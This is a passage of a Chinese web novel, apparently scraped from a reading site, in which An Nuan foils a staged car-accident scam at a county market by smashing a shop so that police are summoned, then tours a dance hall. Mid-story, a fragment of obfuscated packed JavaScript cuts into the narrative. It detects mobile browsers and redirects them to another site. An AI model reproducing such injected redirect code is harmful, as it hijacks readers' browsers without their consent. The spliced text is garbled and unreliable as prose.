邵静荷说:“这大集市上有卖藤条编制的椅子篓子比咱们那儿的精致又便宜。但是因为不好拿上车我一直都在犹豫。正好这次你开车过来我多买几个。” “行行行没问题。”安暖哄着邵静荷:“你想买多少都行车塞满都行。” 将车在集市旁找了个地方停下两人进了市集。 这里有吃有喝也有各种百货还有周围村民挑来卖的农家产品。 这下她们俩也不用单独去吃饭了。 两个女孩子零食点心买买买就能吃饱了。 很快就找到了卖竹篓竹椅子的摊子邵静荷挑选着安暖也跟着看了一下。 之前在红星农场的时候农场里也有竹编的产品出售不过那是工厂化的这是弄家自己的小作坊相比而言款式要简单一些但制作得也很精细。 安暖说:“其实现在这市场到处都是宝贝。你看这手编的篓子花盆什么的在咱们这很便宜可到了城里就很受欢迎。这是艺术品而且还出口换外汇呢外国人更喜欢。” “这样啊。”邵静荷想了想说:“城里的东西卖到咱们这 “没错就是这样互通有无。旅游就是从自己活腻的地方去别人活腻的地方。买卖嘛也是如此。” 安暖决定回去找找有关经商的书籍给邵静荷寄一点。 野路子加上科班知识融会贯通方才能更进一步。 两人一边聊一边买了四张椅子好几个篓子和竹筐。 邵静荷看了看说:“老板这有点多了我们俩也不好拿。能不能帮我们送一下。” 老板爽快道:“没问题给你们送到哪儿?” “市场门口就行我们有车停在外面。” 那更没问题了。 当下老板一手拎起两张椅子背上还背着个框。 这东西虽然是竹条编织的也不轻。 安暖和邵静荷七手八脚拿了剩下的跟在后 面。 车就停在集市门口,威武霸气。 老板看着安暖带头走过去的时候,显然意外了一下。 这么霸气的车,竟然是两个姑娘开来的。他在县城,还从没见过这样的款式呢。 安暖打开后座,几个人想着办法把椅子都塞了进去,又把框都塞了进去。 邵静荷还担心塞不下,安暖不当回事:“大不了捆在车顶上,就这几个东西,还能带不回去?” 这个年代的交通管制没有那么严格,她有时候也就随意了。 放好了,老板便回去了。 在集市门口的,蹲着几个抽烟的小伙儿,将这一幕都看在眼里。 一个用胳膊捣了捣另一个:“哎,七哥,你看看,那辆车竟然是两个娘们开的。” 常在市集混的几个年轻人,已经看了安暖的车许久了。 不过只是看看,惊叹一下,羡慕一下。 为什么别人这么有钱,为什么,我不能这么有钱。 这车县城里没见过,虽然不知道多少钱,但看着就贵。少说,得几十万吧。 但是在他们看来,开这种看着就霸气无比的车的人,想就是五大三粗,人高马大,背景强硬,惹不起的那种。 可现在不一样了。 他们看见了安暖和邵静荷,顿时起了别的心思。 被唤做七哥的男人一看,眼前一亮。 “看着不是本地人,能开这么好的车,肯定有钱。那么年轻,这钱还不知道是从哪个男人身上捞来的。兄弟们,走一个?” 几个人露出不怀好意的笑容。 凑在一起,窃窃私语。 安暖和邵静荷没有察觉,将东西装上车就走了。 难得出来一趟,明日一别,下一次不知道什么时候再见,两人都挺珍惜的。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15863700|171229||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >又进了集市,看着时间逛,出来的时候,正好三点。 出来的时候,也没有什么不对劲的地方。 两人收拾了一下东西,上车准备打道回府。 别看现在天还亮,去掉路上的时间,回家天也黑了。 今晚得早点睡,明天安暖就要回去了,楚隽的计划,路上还要去见见朋友什么的,但他们出来也有不少日子了,不能耽搁太久。 两人说着话,上了车,关上车门。 对面,一个少年扶着个老太太,慢慢地走过来。 谁都没放在心上。 县城人本就不少,集市门口,又是县城热闹的时候。今天正巧是周末, 很多下面乡村的,邻近县城的,都会来,像是赶集一样。 安暖开车一向很稳当。 这也是练出来的,毕竟现在这种人口密度,这种车流对她这种在各种堵车里练出来的新世纪老司机来说,那是小菜一碟,完全不放在眼里。 车子启动,缓缓往前开去。 一切都很正常。 就在这时候,不正常的事情发生了。 突然,刚才路过的老太太哎呦了一声,倒在车前。 “啊呀。”老太太惨叫了一声:“撞到人了。” 这一嗓子喊得嘹亮,几乎将周围人的注意力都给吸引了过来。 老太太倒在地上,扶着她的,应该是孙子的年轻人焦急地蹲下身。 安暖没想到会撞着人,立刻踩下刹车。 她心里已经觉得不对劲了。 在汽车前面碰瓷这种事情,这个年代可能大家不太了解,因为车不多,想碰也找不到地方碰。但是在她的年代,可不是个新鲜词儿。 但此时已经有人围了过来。 邵静荷脸色变得傻白:“是不是撞到人了,这可怎么办?” “别慌。”安暖说:“我没撞到她,是她自己倒在我车前面的。” 邵静荷还是很紧张:“那,那也说不清啊。” “说得清楚。”安暖说:“先下去看看情况,别怕有我。” 第282章 发疯 邵静荷很担心,也心虚,但是见安暖那么冷静,也定了定神。 下面已经有人在喊了,撞到人了,快下来。 安暖熄了火,下了车。 “老人家,你没事吧。”安暖一脸关切的走过去:“快上车,我送你去医院……你放心有什么问题我一定负责。” 说着,安暖就要上前去搀扶老太太。 周围的围观群众越来越多,谁不爱凑个热闹呢? 开始见撞了人,大家都纷纷指责,但是这会儿见安暖态度良好,要送受害者去医院。又愿意负责所有的问题,那也没什么好指责了。 交通事故,又不是故意的。 态度很重要。 说着,安暖就要把老太太往车上扶。 有问题没问题,是真摔了还是碰瓷,去医院一查就知。 这年代的医院,可是很实在的。 不会上来就给你心肝脾肺肾的查一遍。 说是撞着了,医生一查,是不是真的撞着个,一目了然。 只要不是,安暖就能要求报警。 如果确实撞着了,是她没有看见,那该怎么治怎么治,该怎么赔偿怎么赔偿,她也绝对不含糊。 老太太一脸痛苦的表情,但是却连连摆手。 “我没事儿,不用去医院。” 老太太竟然这么通情达理? “不行的。”安暖说:“一定要去医院查一下,万一有什么事情呢?” 对对对。 周围的人纷纷附和。 “我掏钱,不用您出一分钱。”安暖说:“不用担心的。” 是呀,周围的人也劝着,老太太,你看这姑娘开车的,肯定有钱,你别怕花钱,身体要紧。 老太太的孙子在一旁,也劝着奶奶。 但老太太就是不松口。 “真不用,我没事儿,去医院那不是讹你吗?”老太太说:“我回家歇歇就行。” 老人家倔强起来,那是八头牛都拉不回来。 小伙子最后也无奈了,实在是劝不动,只要挠了挠头,说:“奶奶要是实在不愿意去医院,就算了。我看着也不像是有什么事情。要不然的话,能不能麻烦你们,用车帮我把奶奶送回家?” 小伙子这话也很正常,说完,他还不好意思地挠了挠头:“我家也不远,就在前面,开车很快的。” 这话不但情理之中,而且,还非常通情达理。 邵静荷想也不想的,就想要答应下来。 但是安暖心里咯噔一下,掐了她一把。 邵静荷被掐的抖了一下,虽然不知道发生了什么事情,但立刻闭嘴了。 她从心里是相信安暖的,特别是安暖这次回来之后,也不知道是不是去大城市熏陶了一下,感觉更加老练了,更值得信任了。 安暖坚决地说:“不行,我必须对你负责。一定要去医院,要是去医院检查了没事儿,我再送你回家。” 安暖这安排,也不是推脱责任,是负责。 围观群众都是觉得哪儿哪儿都有道理的,于是分成几派。 有劝老太太的,有劝安暖的。 公说公有理,婆说婆有理,一下子僵持住了。 这时候,也在一旁看热闹的一个年轻人突然说:“你非要去医院,不会医院有什么熟人。想要跟他一起,合伙逃避责任吧?” 安暖一听立刻道:“胡说八道。” “那为什么老太太都说没事儿了,你非要去医院呢?”那人不依不饶:“你看老人家都多不舒服了,就让你送她回家,这有什么为难的。” 一旁,有人帮腔说。 “对,我们都给你做见证,是老太太自己要回家的。要是耽误了,也不找你的麻烦。” 说着,几个小伙子不动声色的围了上来。 安暖一看,觉得不妙。 那几个男人从穿着看,就不是善茬,现在是打定了主意要让她送老太太回家。 可到底是不是真送老太太回家,那就不好说了,如今看来,十有八九不是。 邵静荷也感觉到了不对劲。 但现在这种情况,周围虽然有围观的群众,可都是陌生人,谁知道他们会不会管闲事。几个小伙子都是本地人,谁知道他们还有什么后招。 小伙子凶神恶煞的,本来想要看热闹的人,也都有些畏惧地往后退。 见义勇为,英雄救美,这种事情可遇不可求。 碰见危险的时候,当然希望遇见英雄,但不能指望遇见英雄。 还是要自救。 安暖慢慢往后退了一步,突然,一把拽住身后大婶手里的布兜。 布兜里,是一兜鸡蛋和一块猪肉。 大婶一点准备都没有,布兜落在地上。 鸡蛋摔了个黄是黄,白是白,猪肉掉在地上,也落了一层灰。 众人都惊呆了。 就在大家都没反应过来的一瞬间,安暖冲进了路旁的一间店铺。 那是个杂货店。 门口一个架子,里面放着一些日用品。 什么坛子罐子,花瓶什么的。 里面有柜台,柜台下面是一些小玩意儿。 安暖想也不想的,先是伸手拽下两个坛子,又抡起一个,砸向柜台玻璃。 哐当一声,四分五裂。 老板本来是在店里的,刚才店门口安暖她们一闹腾,自然也要出去看看热闹。 万万没想到,自己家被偷了。 等老板惊觉安暖闯进了自己店里的时候,店里已经传来了打砸的声音。 邵静荷不知道安暖在做什么,但是也惊呆了,跟着冲了进去。 还有刚才莫名其妙被安暖摔了一兜子鸡蛋的大婶。 “疯了,你是不是疯了?” 老板看着一地的碎片,指着安暖,脑子都气懵了。 “快找公安。”安暖说:“找公安来,我给你们赔钱。” 这还用安暖说吗,现在就算是她想走,老板和大婶也绝对不会让她走的。 鸡蛋和肉,这钱还不多。安暖砸的店里的坛坛罐罐和柜台,那可不少钱。 扶着老太太的小伙子没料到会出现这场面,和其他几个男人对视了一眼。 七个小幅度的摇了摇头。 事情超出计划了,不能再僵持下去了,赶紧走。 要是现在不走,一会儿警察来了,就不好办了。 看拍照,安暖是外地人,不认识他们。但是在派出所,他们可是混的眼熟的。 “原来是个疯子。”小伙子说:“算了,今天我们认倒霉了,不用你送了,奶奶,我们走。” 第283章 我愿意赔偿双倍 老太太像是个傀儡,或者,是一个配合已久的老成员。让倒就倒,让留就留,让走就走。 但是安暖喝道:“不许走。” 小伙子一顿。 “刚才我根本就没撞到你,你是故意碰瓷,想讹我吧?”安暖说的分明:“你们还想骗我回家,是不是拐卖人口?” 这段时间还好一些,国家的严打起了一定的效果。 前一阵子,拐卖人口是个非常严重的社会问题。这一点,安暖曾经深受其害。 安暖这一喊,围观的人也有察觉不对劲的了。 为什么被车撞那么严重的事情,老太太死活不愿意去医院呢?难道真有什么隐情。 本来在人群中心搭腔劝说的几个小伙子,都开始慢慢往外退。 没有确凿证据,是不会有人拦住他们的。他们这种一看就不好惹,说不定惹急了会掏出把刀来的年轻人,没人想招惹。 但是老太太和他的孙子,他们风口浪尖,就没那么容易退了。 安暖也不在乎是不是当场能把他们留下。 留下更好,就算是留不下,只要自己走不了就行。 她现在不但砸了大婶的鸡蛋和肉,还砸了一家店。大婶和老板,已经是她的保护神了。 在没赔钱之前,谁也别想把她带走。 安暖气定神闲的等着。 小伙子扶着老太太嘟嘟囔囔的也要走,老太太一改刚才虚弱的样子,对着安暖破口大骂。 骂的无非就是那些。 安暖胡言乱语诬陷人,她好心没好报,等等,等等。 安暖随便她怎么骂,反正她被老板拽着在店铺里坐着,出不去。 也不让邵静荷出去。 而且,她也不加油添醋,周围都是普通的群人,大爷大妈大婶之类的,她不愿意挑起矛盾,也不愿意激起他们见义勇为的人。万一因此被伤了,那她会过意不去的。 留得青山在,不怕没柴烧。 只要人没事儿,其他可以从长计议。 安暖突然想起什么,对老板说:“老板,你这儿有电话吗,我给家里打个电话,让他们送钱过来。不然我身上的钱,也不够赔的。” 店里是有电话的。 老板将信将疑地让安暖打电话。 现在时间是下午三点半,楚隽还在上课。 正上着呢,接到了安暖打去刑警队办公室的电话。 如果没有什么事情发生,安暖是不会在这个时间打电话过来的,楚隽连忙去接了。 接了电话,安暖三两句话就把事情说明白了。 楚隽一听,顿时紧张起来。 这课肯定是没法上了。 越野被安暖开走了,所幸所里还有两辆车,楚隽找所长说了下情况,借了一辆。 他对地方也不熟,所长也有些担心他一个外地人,真出事了不好处理。干脆让冯向文陪着一起,赶紧过去看看。 安暖说:“放心,派出所一会儿就来了,问题不大。你慢慢开车,直接去派出所找我。” 挂了电话,果然没等一会儿,派出所就来人了。 两位穿着制服的民警走了进来。 “是谁报的案?” “是我。”老板连忙举手:“同志同志,有人砸我的店。” 一旁的大婶也道:“她还摔了我的鸡蛋。” 黄黄白白的,还在外面地上呢。 民警严肃地看向安暖:“有这回事吗?” “是我砸的。”安暖说:“我愿意赔偿。” …… 民警看了看店铺里的惨状,又看了看安暖,只觉得有点奇怪。 也没吵架,也没打架,安暖看起来也不疯疯癫癫,怎么好端端的就把人店给砸了。 总不能是有钱,任性吧。 民警沉下脸来:“同志,你这种无故损坏他人财产的行为,可不单单是赔偿的问题。如果受害者不愿意和解,是要负刑事责任的。” 邵静荷脸色很难看,担心的看着安暖。 安暖说:“我是真心诚意寻求谅解的,我也不是无故损坏他人财产,实在是刚才的情况有点危险,我害怕,才出此下策。” 当下,安暖就将刚才的情况一五一十地说了。 民警听得很认真。 当听到安暖形容老太太和扶着她的孙子,还有另外几个围观起哄的年轻人的时候,表情有些微妙的变化。 安暖说完,举起两根手指:“刚才损坏了两位的东西,实在是逼不得已,请两位谅解,我愿意双倍赔偿。” 老百姓都是朴实心善的,安暖和邵静荷又是两个看起来柔弱的小姑娘,让人从心里就觉得是弱势群体。 所以她这一说,两人顿时就觉得,情有可原。 不但情有可原,而且大智大勇。 姑娘开车来的,显然不缺钱。愿意赔偿双倍损失,那还有什么问题? 一点问题都没有,再计较一点都不应该。 今天不是赔了,今天是赚了。 安暖当下就拿了五十块钱给大婶。 她也不知道大婶手里的菜多少钱,但这个钱绰绰有余了。 何况真正摔碎的只有鸡蛋,肉只是脏了,回家洗洗还能吃。 “婶子,这钱是我赔给你的,今天真是对不住了。” 大婶搞的特别不好意思:“这也太多了,太多了,双倍也要不了这些……” “不碍事。”安暖坚定地把钱塞进大婶手里:“还耽误了你的时间呢,应该的。” 然后安暖转头对老板说:“老板,你也算算店里这些坏了的东西,有多少损失。还有,明天若是不能开店影响了生意,损失一并算上。今天是你救了我,我不能亏待你。” 安暖这一好爽,受害者反倒是不好意思了。 两位民警本来是要协调一下矛盾的,一般来说,除非是恶意的打砸,人民群众之间的小矛盾,他们也是以调解劝和为主。 这下好,安暖大气,一下子两个受害者都协调好了。 民警说:“虽然你们已经商量好赔偿了,但还是要跟我们去所里了解一下情况。” “好的。”安暖说:“同志,我特别愿意配合你们的一切调查。我家人也正赶过来,他们也是警察,特别了解你们的辛苦。” “你家人?” 民警犹豫了一下:“是什么人?” 第284章 追查到底 安暖既不想用钱砸人,也不想以权威胁人,她只是尽可能的保证自己的安全。 她毕竟是见了太多的人,愿意相信每一个人都是善良的人,也必须要对每一个人保持警惕。 刚才两位民警听到她提起老太太和孙子的时候,表情是有一点变化的。合理的猜测,认识。 这个认识,可能有很多种解答。但是不管怎么说,安全第一。 安暖说:“我是东莱县的,我哥哥是东莱县派出所的。我对象是京市刑警队长,正在东莱县派出所讲课。刚才我已经给他们打过电话了,他们正开车赶过来。” 一个派出所的,一个刑警队的。 就算这地方的派出所和几个混混有什么勾结,也要仔细掂量掂量了。 安暖可不是孤身一人好欺负的。 两位民警听了之后,果然沉默了一下。 “好,那就等你家人来了,再做处理。现在,和我们回派出所说明一下情况。” 安暖跟着走出了店铺。 两位民警是骑自行车过来的。 安暖四下一看,指了指路边。 “要不然,你们在前面骑,我开车,带着老板和婶子一起?” 他们四个人靠走路的,有点费时间。 两位民警看了看车,点了点头。 事情就变得有些诡异起来,当下,安暖将车门打开,把后座上的藤编椅子框子给卸了下来,先放到了老板店里。 然后老板和婶子,上了后座。 两位民警在一旁骑车,安暖开车跟在后面,一路往派出所去。 老板和婶子都没坐过车,在车里十分新鲜。感觉安暖是个挺正常的小姑娘之后,问东问西。 聊了一会儿,安暖突然道:“李叔,我想问你个事情。” 就聊了这么一会儿,他们已经挺熟悉了,谁能拒绝一个好看嘴甜,又大方愿意赔钱的好姑娘呢。 “哎。”李老板应着:“你问。” 安暖说:“今天那奶孙俩碰瓷我的时候,你也在外面看吧。他们俩,还有后来围过来的几个年轻人,是不是这集市上常见的啊。我看他们那样子十分娴熟,干这事情肯定不是第一次了。” 团伙作案,配合熟练,井然有序,这一看就是熟练工。 李老板嗨了一声:“你说那几个,我也不认识。但确实常见他们在市场附近,估计也是在市场里做点小生意的吧。” 李老板说话是有保留的,不过安暖也没多问。 本地人是要注意的。 对这样的小混混流氓,若是招惹了,被缠上了。就算不堵你套麻袋,晚上来你家扔石头砸玻璃,也是叫人很头痛的事情。 安暖无所谓,她处理完这事情抬腿就走了,走出十万八千里。 邵静荷也不是本地人,她也无所谓。可婶子和老板,都是有所顾忌的。 很快就到了派出所。 下午五点,天光正好。 其实大致的情况,刚才在店里的时候,安暖已经大概说了一下。 进了派出所之后,又详细地说了一遍。 婶子和老板都是围观了全程的,没有任何可以隐瞒,也没有任何需要隐瞒的地方。 安暖说完,总结如下。 “我愿意赔偿婶子和李老板的损失,双倍赔偿,绝不抵赖。但是,警察同志,我怀疑刚才的两人是人贩子,以及围观的人群中,也有他们的同伙,希望能把他们抓来审问。免得再有无辜的人受害。” 民警听完记完,给安暖看了记录。 安暖认可,签字。 民警也很讲道理,今天的事情,一桩一件的,分开处理。 是李老板报的警,先处理他和婶子的事情。 婶子已经得到了安暖赔偿的五十块钱,当下表示非常满意,不追究。 婶子签下谅解书,走了。 还挺高兴,今天真一趟出门,多少天的菜钱都赚回来了。 然后是李老板。 李老板刚才已经检查过店里的损失了,按着自己的印象报了个数。 他也是个实在人,没有讹人敲诈一笔的打算。 店里的坛子罐子和玻璃,加上明日不能开店的损失,一起报了一百五。 安暖二话不说掏出三百块钱来。 邵静荷看着都肉痛。 安暖自己是没有那么多钱的,但是楚隽有钱。 楚隽说,女孩子逛街,多带点钱总没有坏处。花不完可以剩下,但是不够花就不好了,总不至于我开会开到一半,还要给你送钱吧。 霸总的魅力,就在于此。 楚隽虽然没有无限额的黑卡,但是在钱这方面,实在大方。 安暖开始还算着自己欠了多少,现在在这件事情上,已经破罐子破摔了。 人,尤其是现代人,不能没苦硬吃。 既然亲亲未婚夫愿意给钱,就不要得了便宜还卖乖,装什么亲高了。 所以安暖很爽快的就掏出三百块。 但是李老板没要,死活只收下了两百,签下谅解书,这事情就算是结了。 安暖身上的案子,算是结束了,但她要查的事情,还没有查清楚。 “我也要报案。”安暖说:“有人敲诈,碰瓷,拐卖,我虽然不知道他们叫什么名字。但是他们常在集市附近活动,一定有很多附近商户认识他们。警察同志,我相信他们也一定是所里的常客,你们一定也认识一二。” 这都是经验之谈。 不管哪个派出所,四十年后的,还是现在的,本辖区内的刺儿头就那么几个,要说不认识没见过,那是睁着眼睛说瞎话。 多少二进宫三进宫四进宫的,都是门清。 询问的民警点了点头:“你说的这些,我们也会去查。市集上确实有这样几个人,平日里游手好闲,不务正业。之前,也有过小偷小摸的事情,这次如果是拐卖人口,那就严重了,我们一定会查实。” 安暖握住民警的手。 “同志,谢谢你。我今天实在是吓坏了,你一定要把他们找到,千万不要让他们崽伤害到别人。” 安暖感动得热泪盈眶。 邵静荷坐在一边,只觉得今天这一天,真是起起伏伏,精彩万分。 本来,两个县城之间有三个小时的路程。不过楚隽心里着急,有点超速,两个小时十分钟,就开完了三个小时的路程。 当安暖看见楚隽出现在门口的时候,才算是彻底放心了。 第285章 突破口 楚隽风尘仆仆。 虽然安暖给他打电话的时候语气很正常,也说了没有什么危险,但他还是觉得不放心。 安暖是个独立自主意识很强的女性,遇到事情的事情,不管多大的事情,都能沉着冷静地应对。 当知道他有正经事情在工作,那没有特殊情况,是不会联系他的。 现在就是特殊情况,肯定没有她在电话里说的那么云淡风轻。 楚隽大步走了进来,上下打量安暖。 “怎么样,没事儿吧?” “没事儿。” 安暖拍了拍楚隽的胳膊。 人没事儿就好,其他什么事情都可以商量。 楚隽松了一口气。 邵静荷坐在一边,也没事儿。 邵静荷父亲是普通工人,母亲在家操持家务,不时打些零工。这些事情就不必告诉他们了,免得着急害怕,也帮不上忙。 来了派出所之后,邵静荷已经给家里打去了电话。 她家是没有电话的,电话打到院子口的小卖部里,让老板帮忙去说一声。 她和安暖在外面,今晚就不回来了,让家里人放心。 本来是计划好,正好天黑就能到家的。如今这么一折腾,估计要住一晚上明天再回了。就算是不住,处理完事情就往回赶,到家也要挺晚的了。 在这个通讯不发达的年代,人总是平白多了许多担心和不可预测。 冯向文虽然不是楼阳县的人,但隔壁县城的,也算是本地人。 他去和民警了解了一下情况,便回来了。 “今天的事情,小安做得很好。”冯向文说:“我问了一下,拦着你的那老太太和他孙子,都听命于一个年轻人。是本地街上人人都认识的小混混,叫七哥,当时也在围观人群中。这几个人不学无术,专门做些坑蒙拐骗的事情。你说拐卖人口不至于,但肯定是盯上你们了,想要敲诈一笔。” “果然认识,我就说认识。他们还跟我装模作样,什么了解情况,要查一下,这样那样……” 安暖心里郁闷。 歧视无处不在。 明明她才是当事人,但是她说的话,就没有被这么认真的对待。 冯向文来一问,什么都说了。 分明是没把她们两个女孩子放在心上,觉得她们不是可以正规沟通,解决事情的人。 楚隽看着安暖郁闷,关心道:“吃完饭了吗?” 安暖摇了摇头。 还吃晚饭,气都气饱了。 “先去吃饭。”楚隽说:“回来再说。既然他们已经去抓人了,先看看怎么处理再说。” 安暖没什么胃口,但一想,人是铁饭是钢,自己不饿,可邵静荷也没吃,安暖和冯向文风着急匆忙地赶来,也没吃。 不能让大家一起挨饿。 “行,去吃饭吧。”安暖说:“不能为了坏人做的坏事,饿坏了自己。” “对。” 楚隽特别欣赏安暖这种为人处世的态度。 不管发生了什么事情,只要不是自己错了,就不要往自己身上揽责任。 四个人出了门,找饭店,吃饭。 这四个人还没在一桌吃过饭呢,楚隽做东,点了好一桌菜。 吃了几口,随便聊了起来。今天接到了电话,楚隽走得早,没讲完预计的内容,因此和冯向文讨论了起来。 两人之前因为安暖的关系,互相看着不顺眼。有一种你凭什么,你又凭什么的忿忿不平。 但兄弟间的情意,一是打出来的,二是一起做见不得人的事情,共患难出来的。 自从打了一架,又一起对付了宋永峰之后,关系就缓和多了。 也在坐在一个桌子上吃饭了,也不会说话的时候夹枪带棒了。 安暖知道一些,但权当不知。 吃了饭,今晚上是回不去了。 四个人先去找了家招待所开了几个房间,再回派出所。 七哥,被带来了。 果然是派出所常客,带来的那么丝滑。 和七哥一起被带来的,还有碰瓷的老太太和她的孙子。 老太太是真的老太太,孙子是她真孙子,但是他们死活也不承认自己心怀不轨。 “这很简单。”安暖说:“你说你被我撞了,只要带你去医院检查一下,看看是不是有被撞的伤,就知道你是不是故意骗人了。如果没有,那你就是碰瓷。为什么非要我送你回家,这可就有猫腻了。” 派出所的,刑警队的,还有一个上辈子搞了几十年刑侦的。要是这点小伎俩都玩不明白,真是白活了。 老太太被怼得哑口无言。 不过她有她的绝招,年纪大了,可以装疯卖傻,装晕装死。 但刚准备往下倒呢,安暖凑到她耳边,低声说:“老太太,你可想好了。你能装疯卖傻装病脱身,但你孙子呢?我可以不追究你一把年纪,但总要有人负责,你跑了,你孙子可就罪加一等了。” 安暖今天这气不能白受,老的跑了,小的就得顶上来。 老太太一听,顿时腰不酸了,腿不痛了,胳膊也不抽筋了。 在老人家的心里,孙子可是心肝宝贝疙瘩,比自己重要多了。 安暖循循善诱。 “我看你孙子也不像是主谋,看着小伙儿还挺小的,像是不懂事。这点子,不是他想出来的吧。可不能叫他一个人把大部分责任给揽了,你知道不,主谋和跟班,那要是进去了,蹲局子的时间可不一样。有的三五天就出来了,有的,说不定好好几年呢。” 老太太眼泪都出来了。 她不识字,也不懂太多,就知道孙子经常往家里拿回点钱。 在外面就是顽皮。 具体怎么顽皮,不好说,但做奶奶,觉得自己孙子在家里那么乖,在外面也不会坏,顶多不懂事罢了。 若是犯了什么错误,批评两句就罢了,怎么还要被关起来呢?还好几年? 要坐牢,那这辈子不是就废了? 老太太心里一慌,一把抓住安暖的胳膊。 “姑娘啊。”老太太哭着说:“小宝都是被他们教坏的,孩子不懂事,认错了人……” 老太太一指七哥,众人脸都绿。 年轻人,以为自己包庇同伙是讲义气的表现。但只要内部出现裂痕,再不用几句话,就会分崩离析。 第286章 贵的道理是什么 安暖找到了最好的突破口。 老太太知道的不多,说得也不多,但已经足够成为一道补不上的裂缝。 很快,七哥的几个手下纷纷倒戈。 安暖几人在一旁听了半天,就是一伙游手好闲的混混。 干的那些事情,说小不小,说大也就那么大。 安暖本来也是路过,今天说到底也没吃太多亏,就是赔了点钱。也不打算太多计较。 他们干的那些事情,一桩桩一件件查清楚之后,攒一攒也够判一阵子了。安暖不可能在这里等着结果。 她和楚隽简短地商议了几句。 其他责任就不追究了,把她赔给婶子和老板的钱按原样赔出来就行。他们暂时拿不出这个钱,不要紧,给了一个地址和电话,等这几个人彻底查清楚,打电话说一声。 要是钱赔得出来,是要赔的。当然真凑不出来也就算了。 这种小混混,没有正经工作,也没有正经收入。就算是靠着坑蒙拐骗捞着一些不义之财,也会很快吃喝玩乐挥霍了,根本就不可能攒着。 家里也许还有父母老人,有祖产房屋,但楚隽也干不出为了这几百块钱逼人卖房子的事情。 离开派出所已经是十一点了。 四个人走在街上,一片黑暗。 幸亏人多,人还厉害,也不害怕。 邵静荷伸了个懒腰。 “今天可真刺激。” 她也是不容易,这一天跟着安暖,没觉得害怕,光觉得刺激了。 冯向文奇道:“今天被混混围着的时候,你不害怕吗?” 这姑娘看着文文静静的,和安暖也不是一个类型啊。 “开始有点怕。”邵静荷实话实说:“后来看见暖暖那么冷静,胸有成竹,就不害怕了。我总不能拖她后腿。” 所以冲进店铺之后,邵静荷其实也举起了一个花瓶。 她当时还没完全弄明白到底发生了事情事情,但觉得安暖既然砸了,那一定有砸的必要,她也不能袖手旁观,一定要共进退才行,不然叫什么姐妹。 “挺不错的。”冯向文夸奖道:“我是暖暖的朋友,我就在东来县城派出所,如果你以后有什么麻烦,可以来找我。” 安暖很安心。 她和楚隽马上就要走了,可邵静荷是要留在本地的。能交上冯向文这个朋友,很好。 正聊着,邵静荷突然咦了一声。 有一家店,竟然还亮着灯。 在一片关门黑暗的店铺中,格外的耀眼。 “这是什么店,还没关门呢。”邵静荷好奇道:“这么晚了,还有人来买东西吗?” 冯向文眯着眼睛一看。 “这不是商店,是歌舞厅,唱歌跳舞的,这种店估计要营业到半夜吧。有些甚至通宵。” 歌舞厅也是刚兴起不久的东西,大城市是多了,但县城还很少。东来县城就没有,所以邵静荷没有见过。 “跳舞?”邵静荷想了一下,脸有点红:“男男女女搂在一起那种吗,这是不是不太好。” 楚隽对歌舞厅没有什么感觉,但难免不自觉地看了一眼安暖。 邵静荷这种反应,才是一个没出过远门的姑娘对新鲜事物的正常反应。 他想起第一次带安暖去酒吧的时候,安暖的反应。 那也太淡定了。 更别提她那时候刚去京市没几天,还穿着一身土不拉几的衣服,往酒吧里一站,那叫一个格格不入。 楚隽不由的笑了一下。 安暖没注意楚隽的笑,而是也饶有兴趣的看了一下,并且提议。 “反正也不困,要不咱们进去看看?”安暖说:“我以前也进过这种歌舞厅,好像挺有意思的。” 邵静荷啊了一声:“不好吧。” “咱们这么多人呢,还有两位警察同志,怕什么。”安暖说:“你不想开开眼界吗?而且,这种歌舞厅现在不多,但随着经济发展,人民群众的物质生活越来越充沛,对精神生活的需求会日益提升。到时候歌舞厅,录像厅,等等一切娱乐场所,都会飞速发展。你可以考虑考虑,这可是可以发展的生意。” 娱乐圈的钱,那不要太好赚。 邵静荷听着安暖将话题从不太正经的歌舞厅,转到了人民群众的精神生活,立刻就境界拔高了,可以去考察一下了。 反正这也不是东来县,不怕被熟人认出来。又有冯向文和楚隽陪着,确实没有危险。 “那就去看看。”邵静荷也起了心思:“暖暖,我觉得你说得对。以前在家里,看的就是眼前的一亩三分地,觉得赚钱是一件很难的事情。我爸累死累活一个月,也就是三十块钱的工资。可外面吃一顿饭,跳一场舞,买一件衣服,都有人能花很多很多钱。” “对。”安暖说:“所以要把格局打开,做生意,不单要卖产品,还要卖品牌。” “卖品牌?” “不错。同样的一件衣服,有些卖五块,有些卖五十,有些卖五百。” 最现实的例子就是楚隽,看着不显山不露水的,但他那一身,是县城里的邵静荷想也不能想的。 邵静荷还有些天真:“是因为质量好吗?” “不,不全是,至少大部分不是。”安暖说着,毫不客气拽过楚隽的袖子:“你看看这个布料,再看看你的布料,你觉得两者的差别大吗?有多大?” 邵静荷仔细的看了一下。 差别是有的。 楚隽的衣服布料当然好,剪裁也很精致,款式也很时新。 “能看出来,他的衣服比你的好,对吧?” 邵静荷点了点头。 “那你觉得这两件衣服的差价是多少。一倍两倍,五倍十倍?”安暖语重心长:“质量,款式,服务,在这一切的基础上,想要利益有飞跃的提升,要有一个响亮的品牌。赚有钱人的钱,让他们买你的商品的同时,买到的还有面子和满足,让商品,体现出社会地位和身份。” 安暖挽着邵静荷,替她塑造一个全新的概念。 几人进了歌舞厅。 里面果然正热闹着。 昏暗的灯光,悠扬的音乐,舞台上,有人在跳舞。 下面是几张沙发,有坐着正在说话喝酒。 邵静荷说:“原来这就是歌舞厅啊。” 第287章 回家 安暖也用没见过世面的眼神看了一圈。 原来,这就是这个年代的歌舞厅啊。 长见识了。 和后世略有不同,大同小异。和自己看的那些年代短剧,倒是大差不差。 歌舞厅的门票一个人一块钱,时间不限,免费提供茶水。 楚隽付了钱。 付钱的时候,老板指了指隔壁。 “小伙子,那边还有录像厅,有不少片子可以选。还有小包间哦,可以和对象,两个人一个房间看录像。” 楚隽说:“有什么片子?” 老板掰着手指头说:“金陵艳盗,至尊一剑,风流冤鬼,都是新片子,精彩又刺激。特别适合跟对象一起看。” 听名字就不太正经,其实也不是什么乱七八糟的片子。 楚隽面不改色说:“好,知道了。” 这几部片子倒是都挺新,不过楚隽已经看过了。 